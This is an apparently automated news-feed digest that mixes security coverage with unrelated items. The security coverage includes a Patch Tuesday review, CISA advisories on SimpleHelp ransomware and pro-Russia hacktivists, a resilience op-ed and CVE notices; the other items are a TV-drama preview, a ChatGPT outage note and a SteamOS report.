CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes

Sat, 25 Jul 2026 19:00:30 +0200

LONDON (IT BOLTWISE) – Eine staatlich unterstützte Spionagekampagne nutzte einen damals unbekannten Fehler im Zimbra-Webmail-Client, um über bösartige E-Mails Zugriff auf Postfächer zu bekommen. Die Methode erfordert offenbar nur das Anzeigen der Nachricht, weil der Schadcode beim Rendern im eingeloggten Session-Kontext läuft. Betroffen sind insbesondere Zimbra Collaboration 10.0 bis zu bestimmten Patchständen sowie 10.1-Versionen vor […]

... den vollständigen Artikel »Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes« lesen

Dieser Beitrag Zimbra-Classic-Web-Client: Zimbra-Zero-Day CVE-2025-66376 ermöglicht Mail-Diebstahl und 2FA-Scratch-Codes erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

CVE-2025-62842 | QNAP HBS 3 Hybrid Backup Sync 25.1.1.673/25.1.4.952 file inclusion (qsa-25-46 / EUVD-2026-0662)

Sat, 25 Jul 2026 16:33:23 +0200

A vulnerability categorized as critical has been discovered in QNAP HBS 3 Hybrid Backup Sync 25.1.1.673/25.1.4.952. This affects an unknown function. Executing a manipulation can lead to file inclusion. The identification of this vulnerability is CVE-2025-62842. The physical device can be targeted for the attack. There is no exploit available. It is advisable to upgrade the affected component.

Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?

Sat, 25 Jul 2026 14:45:18 +0200

Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other. Release date: July 25, 2026 Release time: 9:45 p.m. KST on SBS Spoiler warning for Episode 9 Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards. However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation. The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts. Will the three agents fight each other? The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions. This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children. Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act. Will all the families survive? The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments. Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats. Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.

Too many concurrent requests when opening ChatGPT? You’re not alone

Sat, 25 Jul 2026 13:19:46 +0200

ChatGPT users are seeing a “Too many concurrent requests” error while trying to open the chatbot or submit a prompt. The problem is part of a wider service disruption affecting users worldwide. ChatGPT is currently facing an outage OpenAI’s official status page confirms elevated error rates across ChatGPT, its APIs, and Codex. The company says it is investigating the issue, although it has not yet shared the exact cause or a recovery timeline. Users have also reported login failures, missing conversation history, delayed responses, and prompts that fail to send. Reports appear to be coming from several regions, including India and the United States. The concurrent requests message does not necessarily mean you opened too many chats. During an outage, overloaded servers can display the same error across many accounts. For now, avoid repeatedly refreshing the page. Check OpenAI’s status page and try ChatGPT again after the service stabilizes.

How Many Electrolytes Should You Be Taking, and Can You Have Too Many?

Sat, 25 Jul 2026 11:12:04 +0200

Electrolyte powders promise better hydration, energy, and recovery. But unless you’re losing serious fluid, water and food probably have you covered.

Valve Will Finally Let You Build Your Own Steam Machine With SteamOS For Desktop

Sat, 25 Jul 2026 10:12:56 +0200

With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC parts you want." SteamOS 3.8.10 launched last week with a slew of updates, including "improved compatibility with recent Intel and AMD platforms." Alongside that improved compatibility, Valve is giving gamers the green light to install SteamOS on their own desktops. In an interview with The Verge, Valve's Pierre-Loup Griffais said Valve has been "rolling out improvements to [SteamOS] so it's more compatible with desktop hardware," including eventual support for Nvidia graphics. Griffais says Valve has "a growing team" working on Nvidia driver support for SteamOS, adding, "We're collaborating with Nvidia very closely." While he mentioned that Nvidia support might not come this year, Griffais emphasized that "it's certainly something that we're working on in the background." It's technically been possible to run SteamOS on your own hardware for a while now, but compatibility has been mostly limited to AMD systems. So far installing it has also required using a Steam Deck recovery image, a process that, speaking from experience, is much less straightforward than the installation process for most other Linux distributions. Trying to run SteamOS on Intel or Nvidia hardware has not been easy so far. According to Griffais, Valve is working to change that, which could mean that down the line, you'll be able to run SteamOS on just about any gaming PC hardware you want, including Nvidia. For the more immediate future, Griffais says SteamOS in its current state should offer a "good experience" on console-like PC setups: "If you have something that is similar to the use case of a Steam Machine, where you have a PC that's gonna be plugged into a TV, and has a single hard drive that you're not going to try and dual boot [] you can put SteamOS on there, and you'll have an experience that is very similar to a Steam Deck docked or a Steam Machine, with some caveats, of course," like a lack of HDMI-CEC support. But "the core bits of the experience are there. The SteamOS graphics driver, the shader precompilation [...] you can get at all of that with the SteamOS." Griffais says SteamOS does not yet offer an easy way to dual-boot alongside Windows or another operating system, but envisions "a time where it's a better experience to install on your desktop and have it coexist with a different operating system."

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )
  

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
